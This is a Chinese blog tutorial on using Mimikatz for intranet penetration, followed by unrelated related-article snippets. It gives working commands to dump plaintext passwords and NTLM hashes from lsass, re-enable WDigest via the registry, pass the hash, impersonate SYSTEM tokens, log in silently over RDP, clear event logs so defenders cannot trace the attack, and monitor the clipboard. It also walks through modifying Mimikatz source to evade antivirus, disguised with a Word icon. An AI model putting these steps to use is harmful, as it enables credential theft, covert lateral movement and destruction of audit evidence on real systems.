360病毒库升级包,内网渗透的基本原理

0x01 工具介绍工具原理Mimikatz 的主要原理是在 Windows 系统中用户登录后系统会将身份凭证存储于lsass.exe进程的内存当中,Mimikatz 通过注入lsass.exe进程读取进程内存,从中获取对应的明文密码。常见问题在 Windows Vista 系统之后不再存储 LM HASH,而 Windows 8.1 系统之后内存中也不再存储明文密码,因此在高版本 Windows 系统中无法利用 Mimikatz 直接读取明文密码。Mimikatz 能获取明文密码的关键是 wdigest,这是一个可逆算法,相关注册表存储位置如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”(DWORD)后续高版本的 Windows 系统不能读取明文是因为关闭了该注册表键,如果想要重新获取明文,只需要开启该注册表后再输入密码重新登录即可。

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1给小伙伴整理了相对应的学习资料,如果你需要的话,我也可以分享一部分出来(涉密部分分享不了),需要的可以

【一帮助网络安全学习一】关注我,私信回复“资料”免费领取256G网络安全自学资料0x02 基础使用常见用法Mimikatz 的启动需要管理员/SYSTEM权限运行,默认情况下拥有 32 位以及 64 位版本,在 Kali Linux 中默认存放位置为/usr/share/mimikatz,大多数人使用 Mimikatz 一般只用到两个命令,而对其他命令不太了解,接下来会为大家全面介绍 Mimikatz 这款神器。

privilege::debugsekurlsa::logonpasswords也可以使用一句话输出保存

mimikatz.exe “sekurlsa::minidump lsass.dmp” “sekurlsa::logonpasswords” “exit”> pssword.txt基本语法使用命令可查看全部功能模块

::

调试进程修改运行权限为SYSTEM

privilege::debugprivilege:: #查看 privilege 的运行模块

开启日志记录,保存读取的用户凭证信息

standard::log

0x03 常用模块Crypto模块加密模块主要用于导出可导出的证书,利用 CryptoAPI 函数访问证书,相当于简化版的 certutil。有时候一张合法的证书非常有用,当利用合法证书生成木马程序时可能被杀软认做白名单程序从而不进行查杀。相关参数如下:

/provider #指定提供者/providertype #指定提供类型/cngprovider #CNG提供者/export #导出密钥 PVK 文件

查看相关密钥的提供者

crypto::providers

 

查看当前系统存储信息

crypto::stores

 

常见的系统存储用户名包括:CURRENT_USERUSER_GROUP_POLICYLOCAL_MACHINELOCAL_MACHINE_GROUPLOCAL_MACHINE_ENTERPRISECURRENT_SERVICEUSERSSERVICES指定系统存储为local_machine进行查看

crypto::stores /systemstore:local_machine

 

查看用户当前证书

crypto::certificates

导出 ROOT 根证书

crypto::certificates /store:Root

 

导出证书必须配合 store 参数。其中公钥为DER,私钥为PFX,密码为 mimikatz

crypto::certificates /store:Root /export

 

使用 CryptoAPI 打补丁,有时候证书无法导出可能就是补丁没有打

crypto::capi

使用 CNG 打补丁,用于导出未标记可导出的证书

crypto::cng

列出智能读卡器,可能会出现报错

crypto::sc

查看相关密钥

crypto::key

 

使用 OpenSSL 生成证书

openssl rsa -inform pvk -in key.pvk -outform pem -out key.pemSekurlsa模块Sekurlsa 模块能从lsass.exe进程中提取 passwords、keys、pin、tickets 等用户凭据信息,是最常用到模块。查看所有身份认证信息,成功拿到用户明文密码

sekurlsa::logonpasswords

 

查看用户哈希可能会出现报错,这主要是由于当前权限较低

lsadump::sam

解决方法非常简单,只要以系统权限运行即可

process::runp在新窗口中再次运行可成功拿到哈希

重置用户 NTLM 哈希会把哈希直接写入 SAM 数据库当中,因此执行该操作相当于重置密码,再次登录需要使用新密码进行登录

lsadump::setntlm /user:admin /ntlm:b2781ba85ac750ec286744b009599637

 

转储并导出lsass.exe进程

sekurlsa::minidump lsass.tmp通过哈希传递进行横向移动

sekurlsa::pth /user:admin /domain:host1 /ntlm:b2781ba85ac750ec286744b009599637sekurlsa::pth /user:admin /domain:host1 /aes256:b2781ba85ac750ec286744b009599637凭证管理器中可查看 Windows 凭证

Token模块Token 模块主要用于查看、假冒现有 token。查看当前 token 信息

token::whoami

查看 token 列表并假冒系统管理员

token::listtoken::elevate /NT AUTHORITY\SYSTEM

 

还原假冒进程

token::revert

其他模块一般情况下重复登录远程桌面会导致已登录用户会直接退出或提示有其他用户登录

 

配合命令无提示登录远程桌面,该功能在 HW 中非常好用,即使管理员处于登录状态,我们仍能悄悄登录其他用户

ts::multirdp

成功登录原会话不受影响,使用命令查看会话列表

ts::sessions

 

虽然目前不会被已登录用户发现,但在事件查看器当中仍会存在登录日志

 

使用命令一键清除日志

event::clear

成功清除日志后蓝队工程师无法通过系统日志来还原攻击过程

 

安装/卸载 Mimikatz 服务,帮助我们监听用户输入

service::+service::-

成功安装 Mimikatz 服务且已自动启动

 

比如监听粘贴文本

misc::clip

0x04 免杀利用Mimikatz 作为最常用的黑客工具早已被各大安全软件标记,比如360杀毒、360安全卫士、卡巴斯基等。使用源码免杀能帮助我们绕过杀毒软件的查杀,这是一种基于特征码的免杀方式,只需定位到源码中的特征代码进行修改就可达到免杀效果,一般会定位三个位置,分别是代码、字符串和输入表。准备环境在免杀前需要准备以下三个要素:Mimikatz 源码Visual Stdio 2019(C++)vc依赖文件在 Github 中下载最新版的 Mimikatz

下载地址:https://github.com/gentilkiwi/mimikatz

 

更新 360 杀毒、病毒库为最新版本

配置问题点击 Mimikatz 中的启动文件启动 Visual Stdio,在帮助菜单》关于〉查看许可证状态中输入激活证书可成功激活。而在 VS 2012 中如果出现报错信息(error MSB8020),解决方法为进入项目》属性〉常规》平台工作集中,将平台改为 VS 2012(v110)后即可成功运行编译。

 

选择生成出现报错界面,点击工具》获取工具和功能〉C++ 进行桌面开发》C++ Windows XP Support for VS 2017 v141,点击修改即可解决问题

 

下载安装完成后修改手工工具集为 2017 版本

 

在配置属性中的 C++ 中修改将警告视为错误改为否,否则每当出现错误就无法编译

重新生成又出现报错:MSB8036

在项目属性页选择已安装的 SDK 版本

点击重新生成后成功编译 32 位 Mimikatz

 

如果需要生成 64 位程序可在解决方案》配置属性选择平台为x64

点击重新生成成功编译 64 位 Mimikatz

免杀过程步入正题选择项目 mimikatz 的编辑》查找和替换》在文件中替换

把关键字 mimikatz 所有的字符串替换为 macsec,点击全部替换即可

由于字符串全部被替换,导致引入 mimikatz 的文件名也被替换,因此需修改全部文件名为 macsec

点击重新生成后输出macsec.exe

虽然目前能够进行静态查杀,但是还是无法绕过动态查杀

 

进一步删除macsec.c和macsec.h的注释信息

再次重新生成程序使用360测试仍无法绕过动态查杀

 

在macsec.rc中修改版本信息,把带有 gentilkiwi 的公司名修改为 macsec

 

修改图标macsec.ico为 Office Word 图标后再次点击生成

放入免杀环境再次运行即可成功绕过

当然命令也能够成功执行

 

完成免杀后可上传至云平台查杀测试,但一般不要这么做,云平台会标记免杀程序

本文来自投稿,不代表展天博客立场,如若转载,请注明出处:https://www.me900.com/323687.html

赞 (0)

相关推荐

  • 流量卡移动纯流量卡(物联卡申请条件及流程)

    物联网卡是三大运营商为公司机器设备连接网络所发布的一种上网卡,仅有数据信息连接网络作用,不可以打电话和发短信,那么物联网卡如何申请呢,申请物联卡是按照收费作为标准的吗?   物联网卡怎样申请呢?针对公司第一次购卡,假如数据信息很大得话能够向三大运营商立即申请,如果是购卡较小得话,建议能够立即找代理商申请,申请流量如下: 以51物联卡官网为例,仅作参…

    2023-05-30
  • chi什么意思(chip是什么意思)

    X是英语字母表的第24个字母,相当于希腊字母表的第22个字母X(chi)。其实前者系借自后者,而后者则源自腓尼基语中一个代表“鱼”,读如samekh的象形字母。 X在罗马数字中代表10,在代数学和数学中 X通常被用以表示未知数。当代数学从阿拉伯传入欧洲时,阿拉伯语中表示“未知数”的 shei一词被译为 xei,于是首字母X就成了未知数的常用代号。关于字母X的…

    2023-06-01
  • 个人创业有什么好项目(有什么小型创业项目)

    个人创业有什么好项目(有什么小型创业项目)个人创业有什么好项目(有什么小型创业项目)个人创业有什么好项目(有什么小型创业项目)个人创业有什么好项目(有什么小型创业项目)

    由于疫情尚未彻底消除,目前的创业环境相对比较恶劣。在这种情况下,想要创业赚大钱需要更加谨慎,切不可盲目投资,否则一旦创业失败,很可能很多年都翻不过身来。   下面为大家总结十个未来两年适合普通大众的创业项目。虽然这些项目技术含量并不高,但是只要把项目做好,仍然能够赚很多钱。   第一 短视频电商     现在是短视频十分火爆的时代,各大短视频平台吸…

    2021-10-29 • 用户投稿
  • 搜房网上海租房,上海租房:最新最全的租房信息尽在搜房网

    刚刚, 上海16区三月房价新鲜出炉! 先看上海总体走势, 之后逐区来看 疫情过后, 你想买的小区跌了吗? 上海房价走势 (数据来源:房天下) 黄浦区 (数据来源:房天下) 徐汇区 徐汇部分小区均价 浦东3月二手房均价 52187 元/m2浦东2月二手房均价 51948 元/m2环比上月上涨 0.46% ↑同比去年同期上涨 7.09% ↑ (数据来源:房天下)…

    2023-05-14
  • Nero 8中文破解版下载免费安装教程,opporeno8最新消息曝光

    【手机中国新闻】近日,OPPO最新推出的Reno8系列手机引起了大家的广泛关注,而关于这个系列的三款机型,国**友也发表了他们的意见。 OPPO Reno8 Pro 近期,有外媒针对这三款手机发起了一项投票。结果显示,在这三款手机中,Reno8 Pro 是大多数人的最爱。其搭载的天玑8100-Max极具吸引力,而120Hz的AMOLED显示屏则能为用户带来一…

    2023-06-16
  • 量子恒道统计,量子恒道上的名词pv

    《量子恒道统计:网站数据分析的利器》 在网站运营的领域中,量子恒道统计就像是一位默默耕耘的小助手,它能够为我们提供关于网站的各种数据信息,帮助我们更好地了解网站的运营情况,优化网站的结构和内容,提高网站的用户体验和搜索引擎排名。 那么,量子恒道统计到底是什么?它有哪些功能和特点?我们又该如何利用它来提升网站的运营效果呢? 一、量子恒道统计的基本概念 量子恒道…

    2025-03-30
  • 最火的网络游戏排行,最火的网络游戏排行TOP10游戏名单

    今日(4月18日),SensorTower发布 3 月中国手游发行商全球收入排行榜,共 41 个中国厂商入围全球手游发行商收入榜 TOP100,合计吸金 19.3 亿美元,占本期全球 TOP100 手游发行商收入 37.1%。 《蛋仔派对》全新赛季“精灵之声”在 3 月 3 日上线,带动网易移动游戏收入环比增长近 11%,重回榜单第 2 名;灵犀互娱 3 月…

    2023-05-21
  • win8 分区,win8电脑分区硬盘分区

    win8 分区,win8电脑分区硬盘分区win8 分区,win8电脑分区硬盘分区win8 分区,win8电脑分区硬盘分区win8 分区,win8电脑分区硬盘分区

    都2023年了,组装电脑或增加了新硬盘,还需要给大硬盘分区吗?为啥要分区?如果非要分区,又该如何合理地分区呢? 咱们把电脑硬盘视为新买的房子,一切豁然开朗。 先讲道理。给硬盘分区的主要目的,是给Windows系统盘的文件单独分出一个存放空间;次要目的是将用途或功能类似的文件或程序分别放到不同的空间。 前者(系统分区)可以增强系统稳定性和安全性,后者(功能分区…

    2023-07-10 • 用户投稿
  • 怎么删除光速搜索,电脑光速搜索怎么卸载

    我们平时经常使用电脑,在下载软件时有的软件下载会捆绑一些其他软件,电脑上有一些软件我们想要彻底卸载掉时该如何操作呢,下面我们一起来看下电脑上的软件卸载方法吧! 电脑上的软件怎么完全卸载? 1.即通过360软件管家或者腾讯软件管家的软件卸载功能一键卸载。我们只要打开软件管家,找到软件卸载选项,在列表里搜索或者直接找出需要卸载的软件,点击卸载即可一键卸载。 2.…

    2023-06-23
  • 如何使用酷奇来改善家庭安全

    2测评指标(选购要点) 安全性指标 滑板书的安全性能主要包括两个方面,一个是材料安全性,二是结构安全性。 1、材料安全性,主要问题在于可能和宝宝皮肤存在接触的把手、涂层、踏板是否存在可迁移性的塑化剂(包括DBP、BB、DEHP)。按照玩具国家标准GB 6675.1-2014 ,可迁移性塑化剂含量需≤1000mg/kg。 2、结构安全性,包括三个方面,一个是滑…

    2023-05-22
  • 灰烬攻略,怀旧服惩戒骑输出循环

    魔兽怀旧服开启80级之后,惩戒骑就解放了双手,再也不用跳舞了,而是可以1234脸滚键盘,4321再来一次了。 虽然怀旧服使用的3.35版本将惩戒骑削弱了,但是惩戒骑依然是可以玩一玩的,可以为团队带来诸多增益的同时,还可以多一个常驻的BUFF,所以每个团基本都可以带一个。 今天我们就来详细聊一聊80级惩戒骑的玩法。 80级惩戒骑天赋。   先说一下天…

    2023-07-07
  • robots,The Benefits of Using Robots

    I. 引言 I. Introduction 近年来,人工智能(AI)的发展已经导致了各行各业的工作自动化增加。虽然这带来了许多好处,例如增加生产力和成本节省,但也引起了对就业市场和整个社会的潜在影响的担忧。随着AI动力机器和机器人变得越来越复杂,许多曾经由人类执行的工作现在面临着被自动化的风险。 In recent years, advancements i…

    2023-05-17